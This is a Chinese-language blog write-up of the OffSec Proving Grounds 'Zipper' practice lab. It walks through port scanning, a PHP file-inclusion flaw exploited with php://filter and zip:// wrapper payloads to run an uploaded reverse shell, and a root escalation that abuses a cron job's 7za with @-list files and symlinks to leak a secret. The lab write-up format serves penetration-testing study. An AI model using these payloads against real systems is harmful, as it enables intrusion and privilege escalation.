OSCP Zipper Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

Zipper

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界:

上传 php reverse shell –> 网站自动压缩为 zip 文件 –> 文件包含配合 zip 伪协议执行压缩的包内 php reverse shell –> www-data 用户权限 –> 用户旗帜

权限提升:

计划任务 –> /opt/backup.sh –> 7za @ 开头文件配合符号链接,泄漏任意文件内容 –> root 用户密码 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 192.168.189.229 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
sudo nmap -p22,80 -sCV 192.168.189.229

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
| 256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_ 256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Zipper
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 PHP 伪协议配置文件包含进行 RCE

访问靶机 HTTP 80 端口,网站可对上传的文件进行压缩处理,并输出下载链接。

查看网页源码发现 /index.php:file=home 链接,尝试利用该接口读取其余文件。

1
2
3
/index.php?file=/etc/passwd
/index.php?file=index.php
/index.php?file=index

测试读取 index.php、/etc/passwd 网页没有任何回显,去掉 php 后缀时网站提示 500 错误,怀疑代码做了拼接处理,利用 php 伪协议以 base64 格式读取 index 文件。

1
/index.php?file=php://filter/read=convert.base64-encode/resource=index

将读取的 base64 解码后得到了 index.php 源码。

1
2
3
4
5
6
7
8
9
10
11
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file".".php");
}
else
{
include("home.php");
}
?>

index.php 可包含客户端输入的 file 文件,并在末尾添加 .php 后缀,所以只允许我们读取服务器存在的 php 文件。网站可将我们上传的 php 文件压缩为 zip 格式,并提供有下载地址,利用 php 的 zip 伪协议可执行压缩包里的文件,尝试上传 php reverse shell,然后利用 zip 伪协议读取服务器压缩后的 reverse shell。

如果第一时间没有想到这个思路,接下里会继续尝试读取 home.php 和 upload.php,读取后分析也没有发现可利用的漏洞,之后可能还会尝试枚举历史的 zip 文件,但枚举的时间会很久,到最后也依然没有任何发现,会陷入一个死胡同,一旦思路错误就会很难突破。而对于 php 的伪协议使用,也需要将每个可利用的协议都尝试一遍,总之需要大量的尝试。

php reverse shell:

1
https://www.revshells.com/

注意: 测试发现使用一句话木马不能执行。

将 php reverse shell 上传至网站进行压缩处理,使用 php zip 伪协议执行压缩包内的 reverse shell,获取到系统 www-data 用户权限。

1
http://192.168.189.229/uploads/upload_1756355585.zip

可以使用绝对路径也可使用相对路径,还需要注意:index.php 在包含文件时在文件末尾追加了.php,所以实际传入参数应去掉.php。

1
/index.php?file=zip://uploads/upload_1756355585.zip%23shell

升级为交互式 shell。

3.2.2 用户旗帜获取

3.3 提权获取系统管理员权限

3.3.1 7za 符号链接读取任意文件

系统通过计划任务会周期以 root 权限执行/opt/backup.sh 脚本。

1
cat /etc/crontab

1
cat /opt/backup.sh

脚本中使用了 7za 将网站 uploads 目录下的 zip 文件批量备份至/opt/backups/backup.zip 文件中,并以/root/secret 文件内容为解压密码,最后将程序执行的日志写入/opt/backups/backup.log 文件中。

经测试,当前用户无法编辑脚本内容,使用 pspy 也无法查看命令执行设置的密码字段。

查看网站 uploads 目录,发现存在/root/secret 的链接文件和以 @ 字符开头的 zip 文件。

查看/opt/backups/backup.log 文件时,发现一些错误信息,将报错字符串当作密码可切换至 root 用户。

1
su root

拓展:

对于靶机的提权方式显得非常模糊,可参考 hacktricks 网站关于 7za 提权的介绍。

1
https://book.hacktricks.wiki/zh/linux-hardening/privilege-escalation/wildcards-spare-tricks.html?highlight=7za#7-zip--7z--7za

7za 存在一种特殊机制: 如果传入的参数以 @ 开头,7za 会认为它是一个文件列表,然后将文件中内容当成路径,继续执行下一步操作,如果文件中的内容不是路径,7za 将以报错的方式将文件内容显示出来,这样就造成了任意文件读取。

1
2
3
4
# 例如传入了如下参数
@root.zip root.zip
# 7za看到@root.txt,会将root.txt的内容当成路径处理,如果root.txt为一个链接文件,实际会将链接目标文件的内容当成路径读取,如果读取得到字符串不是路径将会以报错的方式显示文件内容
ln /etc/sudoers root.zip

测试读取/etc/shadow 文件时,发现并没有报错,由于 shadow 内容比较特殊,7za 将其当成了文件目录,所以不会报错,进而也不会将内容输出。

3.3.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP Zipper Write-up
https://www.f0nesec.top/2025/08/28/oscp-zipper/
作者
F0ne
发布于
2025年8月28日
许可协议